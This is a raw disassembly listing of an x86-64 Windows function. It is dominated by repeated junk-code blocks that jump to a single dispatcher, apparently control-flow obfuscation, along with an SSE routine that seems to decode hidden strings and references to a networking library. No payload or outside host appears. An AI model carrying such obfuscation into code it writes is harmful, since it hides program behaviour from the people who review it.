movsd qword [rbp + 0x270], xmm0
movzx eax, byte [0x1403cbb48]
mov byte [rbp + 0x278], al
mov ebx, ecx
cmp r14d, 2
jl 0x14045e410
push rax
pushf
mov eax, 0x226bbd53
pushf
not eax
add eax, 0xd94c6313
xor eax, 0x926609ea
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xe307e776
xor eax, 0xa2c8e57f
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xd8e5a712
xor eax, 0x96712073
rol eax, 0x2f
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x835fc180
pushf
not eax
add eax, 0xc1d0645d
xor eax, 0xe02b139a
rol eax, 0x80
popf
pushf
not eax
add eax, 0x957be82b
xor eax, 0x9932a224
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xb08f3278
xor eax, 0xf5ae0929
rol eax, 0xe6
popf
jmp 0x1404576a1
cmp ebx, 0x59
jge 0x14045e67e
push rax
pushf
mov eax, 0x74d4076
pushf
not eax
add eax, 0xaebb9b63
xor eax, 0xb4cd8d26
rol eax, 0x56
popf
pushf
not eax
add eax, 0xe034ed9e
xor eax, 0xedb128a8
rol eax, 0xd7
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xff165f90
pushf
not eax
add eax, 0x9bd23b93
xor eax, 0x992e815b
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xd34b68d8
xor eax, 0xb6648474
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xbd04c070
xor eax, 0xa03f918c
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xde9652df
xor eax, 0x91f34ea3
rol eax, 0x17
popf
jmp 0x1404576a1
movsxd rax, ebx
lea r8, [rbp + 0x220]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0xe48147b2
pushf
not eax
add eax, 0xd5450cbc
xor eax, 0x9f7f4b65
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xe58ade27
xor eax, 0x9fe2d9b2
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xff6f39a7
xor eax, 0xa0bad678
rol eax, 0x21
popf
jmp 0x1404576a1
mov rcx, qword [rbp + 0x148]
sub rsi, rcx
mov rdx, qword [rbp + 0x188]
cmp rsi, rdx
jb 0x14045e87b
push rax
pushf
mov eax, 0xba87d249
pushf
not eax
add eax, 0x81f01f64
xor eax, 0xe37e178e
rol eax, 0x94
popf
pushf
not eax
add eax, 0xa2af9295
xor eax, 0xf078ddc1
rol eax, 0x14
popf
pushf
not eax
add eax, 0xd9dd2eba
xor eax, 0xbcfabd75
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd4f2e841
xor eax, 0xa3f24b00
rol eax, 0x5c
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x7b088811
pushf
not eax
add eax, 0xab8d959a
xor eax, 0x8ae5d334
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xfcd03581
xor eax, 0x9e2fe674
rol eax, 0xa
popf
pushf
not eax
add eax, 0x97a5f61c
xor eax, 0xfe71d65d
rol eax, 0x20
popf
pushf
not eax
add eax, 0xc1bd65ca
xor eax, 0x800695ce
rol eax, 0x4d
popf
jmp 0x1404576a1
lea r9, [rbp + 0x138]
cmp qword [rbp + 0x150], 0xf
cmova r9, qword [rbp + 0x138]
lea rax, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rax, qword [rbp + 0x178]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x138]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xf8]
call fcn.14013d850
nop
lea rax, [rbp + 0x220]
mov r8, rdi
push rax
pushf
mov eax, 0x17e7785f
pushf
not eax
add eax, 0xb5ee774e
xor eax, 0x9f8fa52b
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x87a6512f
xor eax, 0xe775bfb6
rol eax, 0x38
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045eb7b
push rax
pushf
mov eax, 0x60e8b91
pushf
not eax
add eax, 0xa899717b
xor eax, 0xe5d68c25
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xc2239dd6
xor eax, 0xce013927
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xa8349e8d
xor eax, 0xefebe8c3
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xc1ffd387
xor eax, 0x8216c88f
rol eax, 0xd7
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x321e2424
pushf
not eax
add eax, 0xaadc3c46
xor eax, 0x809ee90a
rol eax, 0x90
popf
pushf
not eax
add eax, 0xf69ced63
xor eax, 0xe570f551
rol eax, 0x43
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xc5f03e25
pushf
not eax
add eax, 0x89741ccc
xor eax, 0x9d60b681
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xeb2391a1
xor eax, 0x8798bc9d
rol eax, 0x29
popf
pushf
not eax
add eax, 0xbc0a10ac
xor eax, 0x97f3fb83
rol eax, 0xe7
popf
jmp 0x1404576a1
mov edx, 0xf23a5012
pushf
not edx
add edx, 0xc2cb273b
xor edx, 0x9e383e47
rol edx, 0xf9
popf
pushf
not edx
add edx, 0xe0c66d46
xor edx, 0xb21c3c75
rol edx, 0x79
popf
pushf
not edx
add edx, 0xe8f1ab86
xor edx, 0xdb9885b7
rol edx, 0xba
popf
mov rcx, r15
cmp r13d, 5
je 0x14045ed68
push rax
pushf
mov eax, 0xc4b97994
pushf
not eax
add eax, 0x925912e7
xor eax, 0xcb118493
rol eax, 0x48
popf
pushf
not eax
add eax, 0xd2a27889
xor eax, 0x9a932fd1
rol eax, 0x39
popf
pushf
not eax
add eax, 0xb574c707
xor eax, 0xb2164b37
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xbb92d8f0
xor eax, 0xe5666810
rol eax, 0xef
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xe5f4ac2c
pushf
not eax
add eax, 0xd1565bed
xor eax, 0x9c67b8d2
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xc8033bc1
xor eax, 0xf535140e
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf7efd0d3
xor eax, 0xb4be2be1
rol eax, 0x15
popf
jmp 0x1404576a1
lea r8, [rbp + 0x118]
cmp qword [rbp + 0x130], 0xf
cmova r8, qword [rbp + 0x118]
jmp 0x14045ee5b
call qword [fcn.1402cd6c0]
mov r8, r12
mov edx, 0xac06729c
pushf
not edx
add edx, 0xa471fe43
xor edx, 0x882eb62e
rol edx, 0xb0
popf
pushf
not edx
add edx, 0xc8ebff0d
xor edx, 0x8b778047
rol edx, 0xf9
popf
mov rcx, r15
jmp 0x14045ee97
call qword [fcn.1402cd6c0]
mov rcx, r15
jmp 0x14045eea1
call qword [fcn.1402caf80]
mov rcx, r12
jmp 0x14045eeab
call qword [str.0o__]
mov rcx, r15
jmp 0x14045eeb5
call qword [fcn.1402cae70]
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x14045eefb
push rax
pushf
mov eax, 0x39dc3d88
pushf
not eax
add eax, 0xad73b412
xor eax, 0xff045181
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf59d7b5d
xor eax, 0xac09fd56
rol eax, 0x3c
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x1297d715
pushf
not eax
add eax, 0xd7b4c9a5
xor eax, 0x97de35c7
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x81488f44
xor eax, 0xb6fe9ced
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa5c764dc
xor eax, 0x915896c0
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x91440252
xor eax, 0xc28e5abd
rol eax, 0xcf
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045ef9d
push rax
pushf
mov eax, 0x9a76af6f
pushf
not eax
add eax, 0xbe338381
xor eax, 0xac8b049c
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x85f201bf
xor eax, 0xacea24b6
rol eax, 0x93
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x6f31fc80
pushf
not eax
add eax, 0xe23d8366
xor eax, 0xf0ed4e69
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x8eeb7243
xor eax, 0xfd756a75
rol eax, 0x50
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045f018
push rax
pushf
mov eax, 0x31346116
pushf
not eax
add eax, 0x90bfe4bc
xor eax, 0xc84dced9
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xd43aee41
xor eax, 0xdb0b6bc6
rol eax, 0x5c
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xf7de592b
pushf
not eax
add eax, 0x8afb06bc
xor eax, 0xfb6a32b3
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xddd661d0
xor eax, 0xbc56a37d
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xdac75f73
xor eax, 0x82679488
rol eax, 0x1c
popf
jmp 0x1404576a1
xor r15d, r15d
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], r15b
mov rdx, qword [rbp + 0x130]
cmp rdx, 0xf
jbe 0x14045f166
push rax
pushf
mov eax, 0xc6b6f4ae
pushf
not eax
add eax, 0x837f6620
xor eax, 0x99bbd1a0
rol eax, 0x39
popf
pushf
not eax
add eax, 0xe3282604
xor eax, 0xcce379d6
rol eax, 0x54
popf
pushf
not eax
add eax, 0xfe8c800b
xor eax, 0x8d492c26
rol eax, 0xd4
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x5b01f7ed
pushf
not eax
add eax, 0xc9bcc8e8
xor eax, 0x9c9afc94
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf5f667b3
xor eax, 0xbd818959
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x9d70264d
xor eax, 0xfd82b60f
rol eax, 0x5a
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045f1f5
push rax
pushf
mov eax, 0x86bc3815
pushf
not eax
add eax, 0x8df76327
xor eax, 0xaa69fe29
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xb21fe021
xor eax, 0xc7893671
rol eax, 0x82
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x799b1d0a
pushf
not eax
add eax, 0xb09c39e1
xor eax, 0xa201d9fe
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xfac6ca1f
xor eax, 0xad91d988
rol eax, 0xef
popf
pushf
not eax
add eax, 0xb81e1aea
xor eax, 0xd91d1e7e
rol eax, 0xdb
popf
jmp 0x1404576a1
call fcn.140432633
push rax
pushf
mov eax, 0x5f5072b6
pushf
not eax
add eax, 0xf43b85b2
xor eax, 0xf0538742
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xb3bd6780
xor eax, 0xa7a974b3
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x9da1e555
xor eax, 0x993d417b
rol eax, 0xb3
popf
jmp 0x1404576a1
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0xf
jbe 0x14045f3ce
push rax
pushf
mov eax, 0xe4c213b9
pushf
not eax
add eax, 0xb63272b9
xor eax, 0x854f5acd
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x890d0fd9
xor eax, 0xc31eef52
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xb8d867ec
xor eax, 0x86285ac9
rol eax, 0xcf
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd037e681
pushf
not eax
add eax, 0xf76761a1
xor eax, 0xfbbbc054
rol eax, 0xde
popf
pushf
not eax
add eax, 0xa8c620bc
xor eax, 0xb1b6b1e9
rol eax, 0x53
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045f511
push rax
pushf
mov eax, 0x8d16f0d6
pushf
not eax
add eax, 0x9f0433de
xor eax, 0x964dbe4f
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd701c778
xor eax, 0xb8cdd255
rol eax, 0x10
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x27b1c602
pushf
not eax
add eax, 0x8d5a153c
xor eax, 0xe2101c75
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xedea5038
xor eax, 0x84c7749b
rol eax, 0x57
popf
pushf
not eax
add eax, 0x8e37c240
xor eax, 0xbfd8808e
rol eax, 0x71
popf
pushf
not eax
add eax, 0xe1cfd108
xor eax, 0xcdf4ad69
rol eax, 0xaa
popf
jmp 0x1404576a1
call fcn.140432633
nop
push rax
pushf
mov eax, 0x37ddf5f6
pushf
not eax
add eax, 0xb192a066
xor eax, 0xca93eba5
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x92daf017
xor eax, 0xe95ba361
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xd18efe56
xor eax, 0xb6f137cf
rol eax, 0x5c
popf
jmp 0x1404576a1
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14045f6f9
push rax
pushf
mov eax, 0xd1363878
pushf
not eax
add eax, 0xc0b54681
xor eax, 0x949d109e
rol eax, 0x46
popf
pushf
not eax
add eax, 0xe8d70fa3
xor eax, 0xb04f6a0f
rol eax, 0x44
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xb6f837c9
pushf
not eax
add eax, 0xdfcad8ec
xor eax, 0xf6171f74
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf36ee37b
xor eax, 0xb2129d30
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xf3ddcfad
xor eax, 0xdbd9301c
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xd973ebdd
xor eax, 0xa12209f1
rol eax, 0x9f
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14045f79a
push rax
pushf
mov eax, 0xa4ee518b
pushf
not eax
add eax, 0xde629466
xor eax, 0xd2e536c3
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xcb9d5ac2
xor eax, 0xa8b7f2ea
rol eax, 0x16
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x2d72c01d
pushf
not eax
add eax, 0xa8563acb
xor eax, 0xdc172f0e
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x8fc11211
xor eax, 0xe351ccb6
rol eax, 0x68
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0x1b3a767c
pushf
not eax
add eax, 0x9f52eb47
xor eax, 0xf52c60a3
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9a85c3ed
xor eax, 0x91a12ae2
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xdfa46db8
xor eax, 0xe7f9c4fb
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x9629c786
xor eax, 0xeef297f8
rol eax, 0xc2
popf
jmp 0x1404576a1
mov rsi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
jmp 0x14045f914
mov eax, dword [str.3__7D]
mov dword [rbp + 0xe8], eax
movzx eax, byte [0x1403cb92c]
movsd xmm0, qword [str.jKNYNJ]
mov byte [rbp + 0xec], al
movsd qword [rbp + 0xe0], xmm0
mov ebx, r15d
cmp r14d, 2
jl 0x14045f990
push rax
pushf
mov eax, 0x97b426e2
pushf
not eax
add eax, 0xd9e2e1e5
xor eax, 0x9a7dfa4d
rol eax, 0x33
popf
pushf
not eax
add eax, 0xf8eacf78
xor eax, 0x93466c08
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xec773ac5
xor eax, 0xf229d91a
rol eax, 0x14
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x27cffd18
pushf
not eax
add eax, 0xd083a1b6
xor eax, 0xb6f2a07f
rol eax, 0x16
popf
pushf
not eax
add eax, 0xb47daf22
xor eax, 0x88a4f34e
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa112b3c4
xor eax, 0x8d3755dc
rol eax, 0x67
popf
jmp 0x1404576a1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.jKNYNJ]
xorps xmm2, xmm0
movd dword [rbp + 0xe0], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov ebx, 0x57ba855a
pushf
not ebx
add ebx, 0x9e91b9c0
xor ebx, 0xe76016f9
rol ebx, 0x6c
popf
pushf
not ebx
add ebx, 0xc1eb896a
xor ebx, 0xb4f54082
rol ebx, 0xf6
popf
pushf
not ebx
add ebx, 0xe0783b9b
xor ebx, 0x82bc8121
rol ebx, 0xb0
popf
pushf
not ebx
add ebx, 0xd5e38b8b
xor ebx, 0xe6691405
rol ebx, 0x18
popf
push rax
pushf
mov eax, 0x4ac3418f
pushf
not eax
add eax, 0x9c6c94d4
xor eax, 0xd72ae0ba
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf57dd6af
xor eax, 0x817f5005
rol eax, 0x82
popf
jmp 0x1404576a1
movsxd rax, ebx
lea r8, [rbp + 0xe0]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
push rax
pushf
mov eax, 0xd13b560c
pushf
not eax
add eax, 0xf9b83777
xor eax, 0xa7979fc9
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb533957f
xor eax, 0x842578db
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x87a1ab00
xor eax, 0xe305a82f
rol eax, 0x10
popf
jmp 0x1404576a1
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
lea rax, [rbp + 0xe0]
push rax
pushf
mov eax, 0x6409ac67
pushf
not eax
add eax, 0xf497d13a
xor eax, 0xd6d2ea25
rol eax, 0x63
popf
pushf
not eax
add eax, 0x93055502
xor eax, 0xe1e46c08
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xd7763afa
xor eax, 0xa8f96dd0
rol eax, 0x71
popf
pushf
not eax
add eax, 0xbf676873
xor eax, 0xfaebb913
rol eax, 0xb3
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0x90bb6f4
pushf
not eax
add eax, 0xa51ef0e8
xor eax, 0x84951674
rol eax, 0x43
popf
pushf
not eax
add eax, 0x9d6d4617
xor eax, 0xd93bc856
rol eax, 0x9f
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14046022a
push rax
pushf
mov eax, 0x933410f2
pushf
not eax
add eax, 0xde8c873b
xor eax, 0xc8773213
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa0e99adc
xor eax, 0x90557faa
rol eax, 0x31
popf
pushf
not eax
add eax, 0x9da63da7
xor eax, 0xf1e19d90
rol eax, 0x74
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x8829d7e5
pushf
not eax
add eax, 0xc544d05e
xor eax, 0xf3828bc6
rol eax, 0x29
popf
pushf
not eax
add eax, 0xc1796dcb
xor eax, 0xcd5e2efe
rol eax, 0x65
popf
pushf
not eax
add eax, 0xbeea0667
xor eax, 0xdbe5315c
rol eax, 7
popf
pushf
not eax
add eax, 0x8362700d
xor eax, 0xfdb11c1d
rol eax, 0xd1
popf
jmp 0x1404576a1
call fcn.140432633
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
push rax
pushf
mov eax, 0x13ad91a6
pushf
not eax
add eax, 0xf18e3064
xor eax, 0xe478f6c2
rol eax, 0xae
popf
pushf
not eax
add eax, 0xbd7a0411
xor eax, 0xc89ddc16
rol eax, 0x61
popf
pushf
not eax
add eax, 0x89abd674
xor eax, 0xb21f26fb
rol eax, 0x56
popf
jmp 0x1404576a1
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140460464
push rax
pushf
mov eax, 0x50e98ce2
pushf
not eax
add eax, 0xaf0d4260
xor eax, 0xcc3430cf
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd1136889
xor eax, 0xcb02ce96
rol eax, 0x91
popf
pushf
not eax
add eax, 0xdf7ba300
xor eax, 0xcf30ee97
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb6c39614
xor eax, 0xaf2a46e4
rol eax, 0x89
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x982312
pushf
not eax
add eax, 0xb5153418
xor eax, 0xcbd6ebd5
rol eax, 0x59
popf
pushf
not eax
add eax, 0xced606e4
xor eax, 0xadd6ae88
rol eax, 0x81
popf
jmp 0x1404576a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140460505
push rax
pushf
mov eax, 0x52b70c63
pushf
not eax
add eax, 0x81b46840
xor eax, 0xb28e48db
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc852a1f1
xor eax, 0xe408ce61
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x9891400f
xor eax, 0xc4e38f51
rol eax, 0xec
popf
pushf
not eax
add eax, 0x80db7069
xor eax, 0xcab3cb71
rol eax, 0x3b
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x2532253d
pushf
not eax
add eax, 0xc137395d
xor eax, 0xda888f2a
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xedc9b54b
xor eax, 0x80f49820
rol eax, 0x3e
popf
jmp 0x1404576a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
push rax
pushf
mov eax, 0x2d16c297
pushf
not eax
add eax, 0x85d8f1fd
xor eax, 0x849909ea
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x9aff852d
xor eax, 0xb78db6c7
rol eax, 0x92
popf
pushf
not eax
add eax, 0xfa9232ff
xor eax, 0x98013029
rol eax, 0xe0
popf
jmp 0x1404576a1
mov rcx, r12
call fcn.1404276ce
mov rax, rsi
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140319880
mov rbx, qword [rsp + 0x3f8]
movaps xmm6, xmmword [rsp + 0x390]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret